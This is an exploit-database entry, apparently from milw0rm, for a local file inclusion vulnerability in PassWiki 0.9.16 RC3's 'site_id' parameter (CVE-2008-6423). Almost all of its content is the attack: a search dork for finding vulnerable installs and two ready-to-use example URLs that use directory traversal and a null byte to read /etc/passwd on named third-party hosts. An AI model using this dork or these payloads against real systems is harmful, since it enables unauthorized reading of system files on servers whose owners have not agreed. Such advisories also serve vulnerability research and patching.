PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion



EKU-ID: 13637 CVE: OSVDB-45853;CVE-2008-6423 OSVDB-ID:
Author: mozi Published: 2008-05-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


dork: "powered by PassWiki"
example:
http://w3.funsrv.com/~konjo/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00
http://inajob.no-ip.org/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00


author:mozi2weed@yahoo.com
http://rstzone.org

# milw0rm.com [2008-05-31]